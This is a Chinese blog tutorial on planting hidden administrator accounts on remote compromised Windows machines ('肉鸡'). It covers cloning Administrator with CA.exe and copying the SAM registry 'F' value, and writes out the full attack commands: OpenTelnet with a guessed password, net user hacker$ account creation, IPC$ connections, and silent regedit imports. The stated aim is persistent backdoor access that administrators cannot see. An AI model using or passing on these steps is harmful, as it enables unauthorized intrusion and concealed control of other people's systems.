`
gui1401
  • 浏览: 49891 次
  • 性别: Icon_minigender_1
  • 来自: 济南
社区版块
存档分类
最新评论

创建隐藏用户

阅读更多

一、利用帐户克隆工具来创建
       Clone Administrator(CA.exe),利用这个工具可以将Administrator的帐号克隆为一个指定的普通帐号(此普通帐号必须已经存在)。克隆得到的帐号具有和系统内置的Administrator同样的设置,并且用NET命令或者用户管理器也发现不了其权限已经被提升,是一个不错的ROOT KIT。
     现在,我们就来看看如何利用帐户克隆工具在肉鸡上创建隐藏的超级用户。
     利用流光、SuperScan等进行扫描,假设已经扫描到一远程主机的Administrator帐户,其密码为123。我们可以使用DameWare Mini Remote Control(简称DMRC),在图形界面(GUI)中来远程控制远程主机。也可以使用OpenTelnet.exe工具来开启远程主机的TELNET服务,其命令格式为:OpenTelnet.exe \\server username password NTLMAuthor telnetport,使用命令:opentelnet \\192.XX.XX.2 Administrator "123" 0 99,呵呵,没想这么成功容易就开启肉鸡的TELNET吧!接着使用命令:Telnet 192.XX.XX.2 99,输入帐户及密码,成功获取一SHELL。

    首先想办法查看一下有哪些用户被细心的管理员禁止,一般情况下,有些管理员出于安全考虑,通常会将guest禁用,当然也会禁用其他用户。在图形界面下,非常容易识别,只要在帐户管理器中就可以看到被禁用的帐户上有一个红叉。但在命令行状态下,只能使用命令:“net user 用户名”一个一个来查看用户是否被禁用。如果懒得这样麻烦,可自行建立一个新的帐户,命令为:“Net user hacker$ youkou /add”,然后使用命令:“Net user hacker$ /active:no”来停用此帐户。

     断开与远程主机的连接,用小榕的超级用户克隆程序CA.exe,将被禁用的用户hacker$克隆成超级用户,命令为:CA.EXE \\192.XX.XX.2 Administrator 123 hacker$ youkou,成功!

   这时,hacker$就成为了超级用户,并有具有和Administrator同样的设置(桌面、菜单等等)。但还是得检查一下,用CCA.exe,命令如下:cca \\192.XX.XX.2 administrator 123。

 

    看到这一行返回信息没有?“[hacker$] AS SAME AS [Administrator]”,说明hacker$帐户和Administrator相同,克隆成功。
二、图形界面建隐藏超级用户
     恐怕我们最熟悉的就是在图形界面下进行操作了,这对于在本地计算机、3389终端服务肉鸡或使用DMRC等控制的肉鸡上创建隐藏超级用户 再好不过了。
     大家知道吗?Windows 2000中有两个注册表编辑器:Regedit.exe和Regedt32.exe,Windows XP中Regedit.exe和Regedt32.exe实为一个程序,修改键值的权限时在右键快捷菜单中选择“权限”来修改。对Regedit.exe我想大家都很熟悉,但却不能对注册表的键进行权限设置,而Regedt32.exe最大的优点就是能够对注册表的项键设置权限。Windows NT/2000/XP的帐户信息都在注册表的HKEY_LOCAL_MACHINE\SAM\SAM键下,但是除了系统用户SYSTEM外,其他用户都没有权限查看到其中的信息,因此首先得用Regedt32.exe对“HKEY_LOCAL_MACHINE\SAM\SAM”键设置为“完全控制”权限。这样就可以对SAM键内的信息进行读写操作。
     首先在肉鸡中创建一个新的帐户hacker$,可以在帐户管理器中建立,也可以使用命令:net user hacker$ 123 /add 来创建。然后通过“开始”菜单中的“运行”,输入regedt32.exe,点击“确定”后就打开了注册表编辑器。依次展开子键HKEY_LOCAL_MACHINE\SAM\SAM,用鼠标右键单击,在弹出的快捷菜单中选择“权限”项。

    在出现的“SAM 权限”对话窗口中,点击“添加”将我登录时的帐户添加到“组或用户名称”列表中,这里我是以administrator的身份登录的,所以我就将administrator加入,在下部的权限功能区设置权限为“完全控制”。

    小提示:最好是添加你登录的帐户或帐户所在的组,切莫修改原有的帐户或组,否则将会带来一系列不必要的问题。等隐藏超级用户建好以后,再来这里将你添加的帐户删除即可。
     如果还是不能展开子键,请关闭后重新打开,如果是Windows 2000的机器,请关闭这个注册表编辑器,重新打开“regedit.exe”。展开子键:HKEY_LOCAL_MACHINE\SAM\SAM\Domains\Account\Users\Names\hacker$,在其右侧窗口中发现其默认值为0x3F1。

 

     下面将hacker$键、hacker$对应的项000003F1以及administrator所对应的项000001F4导出为hacker.reg、3EE.reg和1f4.reg,退出注册表编辑器。用记事本分别打开这几个导出的文件进行编辑,将超级用户对应的项000001F4下的键“F”的值复制,并覆盖hacker$对应的项000003EE下的键“F”的值,然后将hacker.reg和3EE.reg合并为hacker.reg。 接下来在命令行下执行net user hacker$ /del将用户hacker$删除,最后再将hacker.reg导入注册表即可。
     现在,隐藏的超级用户hacker$已经建好了。打开regedt32.exe,把HKEY_LOCAL_MACHINE\SAM\SAM键权限改回原来的样子(只要删除添加的帐户administrator即可)。
    注意:隐藏的超级用户建好后,就能在帐户管理器看不到hacker$这个用户,在命令行用“net user”命令也看不到,但是超级用户建立以后,就不能再改密码了,如果用net user命令来改hacker$的密码的话,那么在帐户管理器中将又会看这个隐藏的超级用户了,而且不能删除。
三、命令行建立隐藏超级用户
     首先通过使用OpenTelnet.exe工具来开启远程主机的TELNET服务,然后TELNET远程登陆得到一个shell,创建一个新的帐户,命令为:
net user hacker$ youkou /add,然后就来导出注册表项HKEY_LOCAL_MACHINE\SAM\SAM\Domains\Account\Users,运行命令:
regedit.exe /e hacker.reg HKEY_LOCAL_MACHINE\SAM\SAM\Domains\Account\Users\,其中/e 是regedit.exe的参数,在HKEY_LOCAL_MACHINE\SAM\SAM\Domains\Account\Users这个键的一定要以“\”结尾。

     断开TELNET连接,建立IPC会话:net use \\192.XX.XX.2\ipc$ "123" /user:"administrator,然后将肉鸡上的hacker.reg下载到本机上用记事本打开进行编辑命令为:copy \\192.XX.XX.2\D$\hacker.reg,用记事本编辑,将超级用户对应的项000001F4下的键“F”的值复制,并覆盖hacker$对应的项000003EE下的键“F”的值(hacker$对应的项在不同的机器而不同),编辑好后再上传:copy hacker.reg \\192.XX.XX.2\D$\hacker1.reg 。
     再TELNET到远程主机,使用命令net user hacker$ /del删除hacker$帐户,然后把hacker.reg导入,命令为:regedit.exe /s hacker.reg,其中参数/s表示以安静模式导入。这样就成功创建了一个隐藏的超级用户。
四、连接远程肉鸡注册表创建

     还有一个比较简单方便的办法,就是通过控制台以及注册表编辑器“文件”菜单中的“连接网络注册表”功能来完成隐藏超级用户的创建。
    通过“开始”菜单中的“运行”,输入MMC,回车后即打开了控制台,打开“文件”菜单中的“添加/删除管理单元”(快捷键CTRL+M),在出现的对话框中点击“添加”按钮,在出现的“添加独立管理单元”对话框中的列表中选择“本地用户和组”。

     单击“添加”即弹出“选择目标机器”对话框,选中“另一台计算机”,在其后输入远程计算机的IP地址,点击“完成”。

    一路关闭返回至控制台窗口,我们就可对远程计算机进行组和用户的管理了,在右侧窗口空白处右击,在弹出的快捷选择“新用户”建立一帐户hacker$吧!
     我们知道,regedit.exe、regedt32.exe都有连接网络注册表的功能,我们可以用regedt32.exe来为远程主机的注册表项设置权限,用regedit.exe来编辑远程注册表。导出相应注册项,然后进行编辑修改(同上面介绍相似)。

    现在在“控制台”中删除刚建立的帐户hacker$,然后关闭。然后在注册表编辑器中通过“文件”菜单中的“导入”功能将上面导出的文件导入即可。
     如果远程主机没有开启远程注册表服务,请自行开启,因为你一开始就已经拥有其管理员帐户密码。
五、需注意的几点事项
     1、隐藏的超级用户建立以后,在帐户管理器中和命令行下均看不到这个用户,但这个用户却存在。
     2、隐藏的超级用户建立以后,就不能再修改密码了,因为一旦修改密码,这个隐藏的超级用户就会暴露在帐户管理器中,而且不能删除。
     3、如在本机上创建隐藏的超级用户时,最好用系统自带的备份工具先备份好注册表。
     想不想在电脑上大显身手?自己动手试一试吧!

分享到:
评论

相关推荐

    创建隐藏用户(教程)

    在IT领域,创建隐藏用户是一种常见的系统管理技巧,主要用于保护数据和系统安全,但同时也可能被滥用。在本文中,我们将深入探讨如何在不同的操作系统环境下创建隐藏用户,并讨论相关的安全和伦理考虑。 首先,让...

    建立隐藏用户突破密码限制_隐藏用户全控制v1.1绿色版

    “建立隐藏用户突破密码限制_隐藏用户全控制v1.1绿色版”这个标题涉及到的是操作系统中的一种安全策略,特别是Windows系统。它指的是创建一个隐藏的用户账户,这种账户通常不会出现在常规的用户列表中,可以用于绕过...

    建立隐藏用户

    本文将深入探讨“建立隐藏用户”的概念、方法以及相关的技术细节。 首先,我们要明确的是,"隐藏用户"并不意味着在操作系统中完全不可见,而是指在常规用户界面下不易被发现或无法通过普通方式列出的用户账户。这种...

    最好的在服务器上创建隐藏用户的工具HideAdmin

    【标题】:HideAdmin——创建服务器隐藏用户的利器 在服务器管理中,有时为了安全考虑,我们需要创建一些不被常规方式轻易发现的用户账户,这些账户通常用于后台服务、自动化任务或者仅限特定人员访问。"HideAdmin...

    在电脑上建立隐藏用户

    在电脑上创建隐藏用户是一种确保个人隐私和安全的方法,尤其在与家人共享设备时非常有用。隐藏用户不仅可以让你的工作或娱乐活动保持私密,还能防止未经授权的访问。下面将详细介绍如何在Windows和Mac操作系统中创建...

    Windows 2003创建隐藏用户.doc

    Windows 2003 创建隐藏用户 隐藏用户帐号是指在操作系统中创建的隐蔽的用户帐号,用于控制远端计算机或执行一些特殊操作。在 Windows 2003 中创建隐藏用户帐号其实并不复杂,只需要对注册表进行一些简单的操作。 ...

    隐藏用户建立工具

    标题中的“隐藏用户建立工具”指的是一个用于创建隐藏用户的软件,这种工具在特定情况下可能会被用到,例如在系统安全设置、多用户环境或者需要保密的个人账户等场景。隐藏用户不同于普通用户,它们通常不会显示在...

    Windows系统中多种隐藏超级用户方法一、如何在图形界面建立隐藏的超级用户

    ### Windows系统中多种隐藏超级用户方法之一:如何在图形界面建立隐藏的超级用户 #### 知识点概览 本文将详细介绍如何在Windows系统中创建一个隐藏的超级用户账号,并探讨这一过程背后的原理与实现步骤。创建隐藏...

    第12颗 一分钟建立超级隐藏用户

    "一分钟建立超级隐藏用户"这个主题涉及到的是如何在操作系统中创建一个不易被发现且具有较高权限的用户账户。以下是对这个话题的详细解释: 一、为什么要创建隐藏用户 1. 安全性:隐藏用户可以作为一种安全措施,...

    建立隐藏超级用户下载

    在IT领域,尤其是在系统管理与安全方面,有时为了特定的需求或者增强系统的安全性,可能会涉及到创建隐藏用户或超级用户的操作。标题“建立隐藏超级用户下载”和描述“想建立一个用户别人不知道吗?现在可能体验下,...

    后门建立隐藏不死用户

    建立隐藏不死用户建立隐藏不死用户建立隐藏不死用户建立隐藏不死用户建立隐藏不死用户建立隐藏不死用户建立隐藏不死用户建立隐藏不死用户建立隐藏不死用户建立隐藏不死用户

    添加隐藏用户的隱藏工具

    "添加隐藏用户的隱藏工具"这个标题暗示了我们要讨论的是关于如何在操作系统中创建并管理这类特殊账户的工具或方法。 首先,我们来看"Sever 2003 Hack Tool.exe"这个文件名。从上下文推测,这可能是一个与Windows ...

    如何建立隐藏的超级用户

    在IT领域,特别是系统安全与管理方面,“如何建立隐藏的超级用户”是一个充满技术挑战与潜在风险的话题。本文将深入探讨这一主题,旨在提供一种在特定情境下可能被合法系统管理员用于测试系统安全性的方法。请注意,...

    CreateHiddenAccount 创建隐藏账号

    常见的创建隐藏账号的两种方法,一种是直接在用户名后加上 $ 符进行创建,一种是利用注册表克隆用户创建,第二种方法隐藏效果更好些,但是操作要复杂不少。 工具里除了添加隐藏账号外,还添加了检查隐藏账号、删除...

    建立隐藏超级用户

    在IT领域,尤其是在系统管理和网络安全方面,建立隐藏超级用户是一种常见的高级操作,主要目的是为了加强系统的安全性,确保只有授权人员能够访问和管理关键系统资源。本文将深入探讨隐藏超级管理员的建立过程、目的...

    建立超级用户隐藏账户

    一、使用命令提示符建立隐藏账户 使用命令提示符可以快速建立一个简单的隐藏账户。首先,点击“开始”→“运行”,输入“CMD”运行“命令提示符”,输入“net user piao$ 123456 /add”,回车,成功后会显示“命令...

    电脑超级隐藏用户别人看不见

    在计算机系统中,创建一个“超级隐藏用户”通常是指创建一个不会在常规用户管理界面或者命令行工具(如DOS)中显示的账户。这样的账户可能出于特定的安全需求,例如系统维护、备份操作或者防止非授权访问。然而,...

    教你建立telnet后门和隐藏用户

    在探讨如何创建telnet后门和超级隐藏用户之前,必须明确指出,此类操作涉及网络安全的敏感领域,不当使用可能导致非法入侵、数据泄露等严重后果,违反相关法律法规。因此,本文旨在提供理论上的技术解析,强调合法...

    Win XP创建隐藏账户

    - 继续在命令提示符中输入以下命令,将之前创建的隐藏用户`abc$`添加到管理员组: ```shell net localgroup administrators abc$ /add ``` - 这样,即使`abc$`账号不经常显示在用户列表中,它也具有与管理员...

    精品专题(2021-2022年收藏)win20032008下建立隐藏系统用户与查看及删除方法.doc

    在Windows Server 2003和2008操作系统中,建立隐藏的系统用户是一种强化系统安全性的技术,主要用于创建不被常规手段检测到的管理员账户,以增加系统的安全性。以下详细介绍了如何创建、查看以及删除这样的隐藏系统...

Global site tag (gtag.js) - Google Analytics